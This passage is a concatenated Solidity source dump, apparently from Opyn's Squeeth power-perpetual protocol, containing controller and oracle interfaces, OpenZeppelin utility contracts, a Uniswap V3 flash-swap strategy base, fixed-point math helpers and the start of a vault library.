(VaultLib.Vault memory); function shortPowerPerp() external view returns (address); function wPowerPerp() external view returns (address); function getExpectedNormalizationFactor() external view returns (uint256); function mintPowerPerpAmount( uint256 _vaultId, uint256 _powerPerpAmount, uint256 _uniTokenId ) external payable returns (uint256 vaultId, uint256 wPowerPerpAmount); function mintWPowerPerpAmount( uint256 _vaultId, uint256 _wPowerPerpAmount, uint256 _uniTokenId ) external payable returns (uint256 vaultId); /** * Deposit collateral into a vault */ function deposit(uint256 _vaultId) external payable; /** * Withdraw collateral from a vault. */ function withdraw(uint256 _vaultId, uint256 _amount) external payable; function burnWPowerPerpAmount( uint256 _vaultId, uint256 _wPowerPerpAmount, uint256 _withdrawAmount ) external; function burnOnPowerPerpAmount( uint256 _vaultId, uint256 _powerPerpAmount, uint256 _withdrawAmount ) external returns (uint256 wPowerPerpAmount); function liquidate(uint256 _vaultId, uint256 _maxDebtAmount) external returns (uint256); function updateOperator(uint256 _vaultId, address _operator) external; /** * External function to update the normalized factor as a way to pay funding. */ function applyFunding() external; function redeemShort(uint256 _vaultId) external; function reduceDebtShutdown(uint256 _vaultId) external; function isShutDown() external returns (bool); } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IWPowerPerp is IERC20 { function mint(address _account, uint256 _amount) external; function burn(address _account, uint256 _amount) external; } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; interface IOracle { function getHistoricalTwap( address _pool, address _base, address _quote, uint32 _period, uint32 _periodToHistoricPrice ) external view returns (uint256); function getTwap( address _pool, address _base, address _quote, uint32 _period, bool _checkPeriod ) external view returns (uint256); function getMaxPeriod(address _pool) external view returns (uint32); function getTimeWeightedAverageTickSafe(address _pool, uint32 _period) external view returns (int24 timeWeightedAverageTick); } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IWETH9 is IERC20 { function deposit() external payable; function withdraw(uint256 wad) external; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; import './pool/IUniswapV3PoolImmutables.sol'; import './pool/IUniswapV3PoolState.sol'; import './pool/IUniswapV3PoolDerivedState.sol'; import './pool/IUniswapV3PoolActions.sol'; import './pool/IUniswapV3PoolOwnerActions.sol'; import './pool/IUniswapV3PoolEvents.sol'; /// @title The interface for a Uniswap V3 Pool /// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform /// to the ERC20 specification /// @dev The pool interface is broken up into many smaller pieces interface IUniswapV3Pool is IUniswapV3PoolImmutables, IUniswapV3PoolState, IUniswapV3PoolDerivedState, IUniswapV3PoolActions, IUniswapV3PoolOwnerActions, IUniswapV3PoolEvents { } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity =0.7.6; pragma abicoder v2; // interface import {IController} from "../../interfaces/IController.sol"; import {IWPowerPerp} from "../../interfaces/IWPowerPerp.sol"; // contract import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; // lib import {Address} from "@openzeppelin/contracts/utils/Address.sol"; // StrategyMath licensed under AGPL-3.0-only import {StrategyMath} from "./StrategyMath.sol"; import {VaultLib} from "../../libs/VaultLib.sol"; /** * @dev StrategyBase contract * @notice base contract for PowerToken strategy * @author opyn team */ contract StrategyBase is ERC20 { using StrategyMath for uint256; using Address for address payable; /// @dev power token controller IController public powerTokenController; /// @dev WETH token address public immutable weth; address public immutable wPowerPerp; /// @dev power token strategy vault ID uint256 public immutable vaultId; /** * @notice constructor for StrategyBase * @dev this will open a vault in the power token contract and store the vault ID * @param _powerTokenController power token controller address * @param _weth weth token address * @param _name token name for strategy ERC20 token * @param _symbol token symbol for strategy ERC20 token */ constructor(address _powerTokenController, address _weth, string memory _name, string memory _symbol) ERC20(_name, _symbol) { require(_powerTokenController != address(0), "invalid controller address"); require(_weth != address(0), "invalid weth address"); weth = _weth; powerTokenController = IController(_powerTokenController); wPowerPerp = address(powerTokenController.wPowerPerp()); vaultId = powerTokenController.mintWPowerPerpAmount(0, 0, 0); } /** * @notice get power token strategy vault ID * @return vault ID */ function getStrategyVaultId() external view returns (uint256) { return vaultId; } /** * @notice get the vault composition of the strategy * @return operator * @return nft collateral id * @return collateral amount * @return short amount */ function getVaultDetails() external view returns (address, uint256, uint256, uint256) { return _getVaultDetails(); } /** * @notice mint WPowerPerp and deposit collateral * @dev this function will not send WPowerPerp to msg.sender if _keepWSqueeth == true * @param _to receiver address * @param _wAmount amount of WPowerPerp to mint * @param _collateral amount of collateral to deposit * @param _keepWsqueeth keep minted wSqueeth in this contract if it is set to true */ function _mintWPowerPerp( address _to, uint256 _wAmount, uint256 _collateral, bool _keepWsqueeth ) internal { powerTokenController.mintWPowerPerpAmount{value: _collateral}(vaultId, _wAmount, 0); if (!_keepWsqueeth) { IWPowerPerp(wPowerPerp).transfer(_to, _wAmount); } } /** * @notice burn WPowerPerp and withdraw collateral * @dev this function will not take WPowerPerp from msg.sender if _isOwnedWSqueeth == true * @param _from WPowerPerp holder address * @param _amount amount of wPowerPerp to burn * @param _collateralToWithdraw amount of collateral to withdraw * @param _isOwnedWSqueeth transfer WPowerPerp from holder if it is set to false */ function _burnWPowerPerp( address _from, uint256 _amount, uint256 _collateralToWithdraw, bool _isOwnedWSqueeth ) internal { if (!_isOwnedWSqueeth) { IWPowerPerp(wPowerPerp).transferFrom(_from, address(this), _amount); } powerTokenController.burnWPowerPerpAmount(vaultId, _amount, _collateralToWithdraw); } /** * @notice mint strategy token * @param _to recepient address * @param _amount token amount */ function _mintStrategyToken(address _to, uint256 _amount) internal { _mint(_to, _amount); } /** * @notice get strategy debt amount for a specific strategy token amount * @param _strategyAmount strategy amount * @return debt amount */ function _getDebtFromStrategyAmount(uint256 _strategyAmount) internal view returns (uint256) { (, , ,uint256 strategyDebt) = _getVaultDetails(); return strategyDebt.wmul(_strategyAmount).wdiv(totalSupply()); } /** * @notice get the vault composition of the strategy * @return operator * @return nft collateral id * @return collateral amount * @return short amount */ function _getVaultDetails() internal view returns (address, uint256, uint256, uint256) { VaultLib.Vault memory strategyVault = powerTokenController.vaults(vaultId); return (strategyVault.operator, strategyVault.NftCollateralId, strategyVault.collateralAmount, strategyVault.shortAmount); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity =0.7.6; pragma abicoder v2; // interface import "@uniswap/v3-core/contracts/interfaces/callback/IUniswapV3SwapCallback.sol"; import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol"; // lib import '@uniswap/v3-core/contracts/libraries/LowGasSafeMath.sol'; import '@uniswap/v3-periphery/contracts/libraries/Path.sol'; import '@uniswap/v3-periphery/contracts/libraries/PoolAddress.sol'; import '@uniswap/v3-periphery/contracts/libraries/CallbackValidation.sol'; import '@uniswap/v3-core/contracts/libraries/TickMath.sol'; import '@uniswap/v3-core/contracts/libraries/SafeCast.sol'; contract StrategyFlashSwap is IUniswapV3SwapCallback { using Path for bytes; using SafeCast for uint256; using LowGasSafeMath for uint256; using LowGasSafeMath for int256; /// @dev Uniswap factory address address public immutable factory; struct SwapCallbackData { bytes path; address caller; uint8 callSource; bytes callData; } /** * @dev constructor * @param _factory uniswap factory address */ constructor( address _factory ) { require(_factory != address(0), "invalid factory address"); factory = _factory; } /** * @notice uniswap swap callback function for flashes * @param amount0Delta amount of token0 * @param amount1Delta amount of token1 * @param _data callback data encoded as SwapCallbackData struct */ function uniswapV3SwapCallback( int256 amount0Delta, int256 amount1Delta, bytes calldata _data ) external override { require(amount0Delta > 0 || amount1Delta > 0); // swaps entirely within 0-liquidity regions are not supported SwapCallbackData memory data = abi.decode(_data, (SwapCallbackData)); (address tokenIn, address tokenOut, uint24 fee) = data.path.decodeFirstPool(); //ensure that callback comes from uniswap pool CallbackValidation.verifyCallback(factory, tokenIn, tokenOut, fee); //determine the amount that needs to be repaid as part of the flashswap uint256 amountToPay = amount0Delta > 0 ? uint256(amount0Delta) : uint256(amount1Delta); //calls the strategy function that uses the proceeds from flash swap and executes logic to have an amount of token to repay the flash swap _strategyFlash(data.caller, tokenIn, tokenOut, fee, amountToPay, data.callData, data.callSource); } /** * @notice execute an exact-in flash swap (specify an exact amount to pay) * @param _tokenIn token address to sell * @param _tokenOut token address to receive * @param _fee pool fee * @param _amountIn amount to sell * @param _amountOutMinimum minimum amount to receive * @param _callSource function call source * @param _data arbitrary data assigned with the call */ function _exactInFlashSwap(address _tokenIn, address _tokenOut, uint24 _fee, uint256 _amountIn, uint256 _amountOutMinimum, uint8 _callSource, bytes memory _data) internal { //calls internal uniswap swap function that will trigger a callback for the flash swap uint256 amountOut = _exactInputInternal( _amountIn, address(this), uint160(0), SwapCallbackData({path: abi.encodePacked(_tokenIn, _fee, _tokenOut), caller: msg.sender, callSource: _callSource, callData: _data}) ); //slippage limit check require(amountOut >= _amountOutMinimum, "amount out less than min"); } /** * @notice execute an exact-out flash swap (specify an exact amount to receive) * @param _tokenIn token address to sell * @param _tokenOut token address to receive * @param _fee pool fee * @param _amountOut exact amount to receive * @param _amountInMaximum maximum amount to sell * @param _callSource function call source * @param _data arbitrary data assigned with the call */ function _exactOutFlashSwap(address _tokenIn, address _tokenOut, uint24 _fee, uint256 _amountOut, uint256 _amountInMaximum, uint8 _callSource, bytes memory _data) internal { //calls internal uniswap swap function that will trigger a callback for the flash swap uint256 amountIn = _exactOutputInternal( _amountOut, address(this), uint160(0), SwapCallbackData({path: abi.encodePacked(_tokenOut, _fee, _tokenIn), caller: msg.sender, callSource: _callSource, callData: _data}) ); //slippage limit check require(amountIn <= _amountInMaximum, "amount in greater than max"); } /** * @notice function to be called by uniswap callback. * @dev this function should be overridden by the child contract * param _caller initial strategy function caller * param _tokenIn token address sold * param _tokenOut token address bought * param _fee pool fee * param _amountToPay amount to pay for the pool second token * param _callData arbitrary data assigned with the flashswap call * param _callSource function call source */ function _strategyFlash(address /*_caller*/, address /*_tokenIn*/, address /*_tokenOut*/, uint24 /*_fee*/, uint256 /*_amountToPay*/, bytes memory _callData, uint8 _callSource) internal virtual {} /** * @notice internal function for exact-in swap on uniswap (specify exact amount to pay) * @param _amountIn amount of token to pay * @param _recipient recipient for receive * @param _sqrtPriceLimitX96 price limit * @return amount of token bought (amountOut) */ function _exactInputInternal( uint256 _amountIn, address _recipient, uint160 _sqrtPriceLimitX96, SwapCallbackData memory data ) private returns (uint256) { (address tokenIn, address tokenOut, uint24 fee) = data.path.decodeFirstPool(); //uniswap token0 has a lower address than token1 //if tokenIn<tokenOut, we are selling an exact amount of token0 in exchange for token1 //zeroForOne determines which token is being sold and which is being bought bool zeroForOne = tokenIn < tokenOut; //swap on uniswap, including data to trigger call back for flashswap (int256 amount0, int256 amount1) = _getPool(tokenIn, tokenOut, fee).swap( _recipient, zeroForOne, _amountIn.toInt256(), _sqrtPriceLimitX96 == 0 ? (zeroForOne ? TickMath.MIN_SQRT_RATIO + 1 : TickMath.MAX_SQRT_RATIO - 1) : _sqrtPriceLimitX96, abi.encode(data) ); //determine the amountOut based on which token has a lower address return uint256(-(zeroForOne ? amount1 : amount0)); } /** * @notice internal function for exact-out swap on uniswap (specify exact amount to receive) * @param _amountOut amount of token to receive * @param _recipient recipient for receive * @param _sqrtPriceLimitX96 price limit * @return amount of token sold (amountIn) */ function _exactOutputInternal( uint256 _amountOut, address _recipient, uint160 _sqrtPriceLimitX96, SwapCallbackData memory data ) private returns (uint256) { (address tokenOut, address tokenIn, uint24 fee) = data.path.decodeFirstPool(); //uniswap token0 has a lower address than token1 //if tokenIn<tokenOut, we are buying an exact amount of token1 in exchange for token0 //zeroForOne determines which token is being sold and which is being bought bool zeroForOne = tokenIn < tokenOut; //swap on uniswap, including data to trigger call back for flashswap (int256 amount0Delta, int256 amount1Delta) = _getPool(tokenIn, tokenOut, fee).swap( _recipient, zeroForOne, -_amountOut.toInt256(), _sqrtPriceLimitX96 == 0 ? (zeroForOne ? TickMath.MIN_SQRT_RATIO + 1 : TickMath.MAX_SQRT_RATIO - 1) : _sqrtPriceLimitX96, abi.encode(data) ); //determine the amountIn and amountOut based on which token has a lower address (uint256 amountIn, uint256 amountOutReceived) = zeroForOne ? (uint256(amount0Delta), uint256(-amount1Delta)) : (uint256(amount1Delta), uint256(-amount0Delta)); // it's technically possible to not receive the full output amount, // so if no price limit has been specified, require this possibility away if (_sqrtPriceLimitX96 == 0) require(amountOutReceived == _amountOut); return amountIn; } /** * @notice returns the uniswap pool for the given token pair and fee * @dev the pool contract may or may not exist * @param tokenA address of first token * @param tokenB address of second token * @param fee fee tier for pool */ function _getPool( address tokenA, address tokenB, uint24 fee ) private view returns (IUniswapV3Pool) { return IUniswapV3Pool(PoolAddress.computeAddress(factory, PoolAddress.getPoolKey(tokenA, tokenB, fee))); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } //SPDX-License-Identifier: AGPL-3.0-only /// math.sol -- mixin for inline numerical wizardry // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity >0.4.13; /** * @notice Copied from https://github.com/dapphub/ds-math/blob/e70a364787804c1ded9801ed6c27b440a86ebd32/src/math.sol * @dev change contract to library, added div() function */ library StrategyMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, "ds-math-add-overflow"); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, "ds-math-sub-underflow"); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow"); } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } function min(uint x, uint y) internal pure returns (uint z) { return x <= y ? x : y; } function max(uint x, uint y) internal pure returns (uint z) { return x >= y ? x : y; } function imin(int x, int y) internal pure returns (int z) { return x <= y ? x : y; } function imax(int x, int y) internal pure returns (int z) { return x >= y ? x : y; } uint constant WAD = 10 ** 18; uint constant RAY = 10 ** 27; //rounds to zero if x*y < WAD / 2 function wmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), WAD / 2) / WAD; } //rounds to zero if x*y < WAD / 2 function rmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), RAY / 2) / RAY; } //rounds to zero if x*y < WAD / 2 function wdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, WAD), y / 2) / y; } //rounds to zero if x*y < RAY / 2 function rdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint x, uint n) internal pure returns (uint z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity =0.7.6; //interface import {IOracle} from "../interfaces/IOracle.sol"; //lib import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; library Power2Base { using SafeMath for uint256; uint32 private constant TWAP_PERIOD = 420 seconds; uint256 private constant INDEX_SCALE = 1e4; uint256 private constant ONE = 1e18; uint256 private constant ONE_ONE = 1e36; /** * @notice return the scaled down index of the power perp in USD, scaled by 18 decimals * @param _period period of time for the twap in seconds (cannot be longer than maximum period for the pool) * @param _oracle oracle address * @param _ethQuoteCurrencyPool uniswap v3 pool for weth / quoteCurrency * @param _weth weth address * @param _quoteCurrency quoteCurrency address * @return for squeeth, return ethPrice^2 */ function _getIndex( uint32 _period, address _oracle, address _ethQuoteCurrencyPool, address _weth, address _quoteCurrency ) internal view returns (uint256) { uint256 ethQuoteCurrencyPrice = _getScaledTwap( _oracle, _ethQuoteCurrencyPool, _weth, _quoteCurrency, _period, false ); return ethQuoteCurrencyPrice.mul(ethQuoteCurrencyPrice).div(ONE); } /** * @notice return the unscaled index of the power perp in USD, scaled by 18 decimals * @param _period period of time for the twap in seconds (cannot be longer than maximum period for the pool) * @param _oracle oracle address * @param _ethQuoteCurrencyPool uniswap v3 pool for weth / quoteCurrency * @param _weth weth address * @param _quoteCurrency quoteCurrency address * @return for squeeth, return ethPrice^2 */ function _getUnscaledIndex( uint32 _period, address _oracle, address _ethQuoteCurrencyPool, address _weth, address _quoteCurrency ) internal view returns (uint256) { uint256 ethQuoteCurrencyPrice = _getTwap(_oracle, _ethQuoteCurrencyPool, _weth, _quoteCurrency, _period, false); return ethQuoteCurrencyPrice.mul(ethQuoteCurrencyPrice).div(ONE); } /** * @notice return the mark price of power perp in quoteCurrency, scaled by 18 decimals * @param _period period of time for the twap in seconds (cannot be longer than maximum period for the pool) * @param _oracle oracle address * @param _wSqueethEthPool uniswap v3 pool for wSqueeth / weth * @param _ethQuoteCurrencyPool uniswap v3 pool for weth / quoteCurrency * @param _weth weth address * @param _quoteCurrency quoteCurrency address * @param _wSqueeth wSqueeth address * @param _normalizationFactor current normalization factor * @return for squeeth, return ethPrice * squeethPriceInEth */ function _getDenormalizedMark( uint32 _period, address _oracle, address _wSqueethEthPool, address _ethQuoteCurrencyPool, address _weth, address _quoteCurrency, address _wSqueeth, uint256 _normalizationFactor ) internal view returns (uint256) { uint256 ethQuoteCurrencyPrice = _getScaledTwap( _oracle, _ethQuoteCurrencyPool, _weth, _quoteCurrency, _period, false ); uint256 wsqueethEthPrice = _getTwap(_oracle, _wSqueethEthPool, _wSqueeth, _weth, _period, false); return wsqueethEthPrice.mul(ethQuoteCurrencyPrice).div(_normalizationFactor); } /** * @notice get the fair collateral value for a _debtAmount of wSqueeth * @dev the actual amount liquidator can get should have a 10% bonus on top of this value. * @param _debtAmount wSqueeth amount paid by liquidator * @param _oracle oracle address * @param _wSqueethEthPool uniswap v3 pool for wSqueeth / weth * @param _wSqueeth wSqueeth address * @param _weth weth address * @return returns value of debt in ETH */ function _getDebtValueInEth( uint256 _debtAmount, address _oracle, address _wSqueethEthPool, address _wSqueeth, address _weth ) internal view returns (uint256) { uint256 wSqueethPrice = _getTwap(_oracle, _wSqueethEthPool, _wSqueeth, _weth, TWAP_PERIOD, false); return _debtAmount.mul(wSqueethPrice).div(ONE); } /** * @notice request twap from our oracle, scaled down by INDEX_SCALE * @param _oracle oracle address * @param _pool uniswap v3 pool address * @param _base base currency. to get eth/usd price, eth is base token * @param _quote quote currency. to get eth/usd price, usd is the quote currency * @param _period number of seconds in the past to start calculating time-weighted average. * @param _checkPeriod check that period is not longer than maximum period for the pool to prevent reverts * @return twap price scaled down by INDEX_SCALE */ function _getScaledTwap( address _oracle, address _pool, address _base, address _quote, uint32 _period, bool _checkPeriod ) internal view returns (uint256) { uint256 twap = _getTwap(_oracle, _pool, _base, _quote, _period, _checkPeriod); return twap.div(INDEX_SCALE); } /** * @notice request twap from our oracle * @dev this will revert if period is > max period for the pool * @param _oracle oracle address * @param _pool uniswap v3 pool address * @param _base base currency. to get eth/quoteCurrency price, eth is base token * @param _quote quote currency. to get eth/quoteCurrency price, quoteCurrency is the quote currency * @param _period number of seconds in the past to start calculating time-weighted average * @param _checkPeriod check that period is not longer than maximum period for the pool to prevent reverts * @return human readable price. scaled by 1e18 */ function _getTwap( address _oracle, address _pool, address _base, address _quote, uint32 _period, bool _checkPeriod ) internal view returns (uint256) { // period reaching this point should be check, otherwise might revert return IOracle(_oracle).getTwap(_pool, _base, _quote, _period, _checkPeriod); } /** * @notice get the index value of wsqueeth in wei, used when system settles * @dev the index of squeeth is ethPrice^2, so each squeeth will need to pay out {ethPrice} eth * @param _wsqueethAmount amount of wsqueeth used in settlement * @param _indexPriceForSettlement index price for settlement * @param _normalizationFactor current normalization factor * @return amount in wei that should be paid to the token holder */ function _getLongSettlementValue( uint256 _wsqueethAmount, uint256 _indexPriceForSettlement, uint256 _normalizationFactor ) internal pure returns (uint256) { return _wsqueethAmount.mul(_normalizationFactor).mul(_indexPriceForSettlement).div(ONE_ONE); } } //SPDX-License-Identifier: GPL-2.0-or-later pragma solidity =0.7.6; //interface import {INonfungiblePositionManager} from "@uniswap/v3-periphery/contracts/interfaces/INonfungiblePositionManager.sol"; //lib import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {TickMathExternal} from "./TickMathExternal.sol"; import {SqrtPriceMathPartial} from "./SqrtPriceMathPartial.sol"; import {Uint256Casting} from "./Uint256Casting.sol"; /** * Error code: * V1: Vault already had nft * V2: Vault has no NFT */ library VaultLib { using SafeMath for uint256; using Uint256Casting for uint256; uint256 constant ONE_ONE = 1e36; // the collateralization ratio (CR) is checked with the numerator and denominator separately // a user is safe if - collateral value >= (COLLAT_RATIO_NUMER/COLLAT_RATIO_DENOM)* debt value uint256 public constant CR_NUMERATOR = 3; uint256 public constant CR_DENOMINATOR = 2; struct Vault { // the address that can update the vault address operator; // uniswap position token id deposited into the vault as collateral // 2^32 is 4,294,967,296, which means the vault structure will work with up to 4 billion positions uint32 NftCollateralId; // amount of eth (wei) used in the vault as collateral // 2^96 / 1e18 = 79,228,162,514, which means a vault can store up to 79 billion eth // when we need to do calculations, we always cast this number to uint256 to avoid overflow uint96 collateralAmount; // amount of wPowerPerp minted from the vault uint128 shortAmount; } /** * @notice add eth collateral to a vault * @param _vault in-memory vault * @param _amount amount of eth to add */ function addEthCollateral(Vault memory _vault, uint256 _amount) internal pure { _vault.collateralAmount = 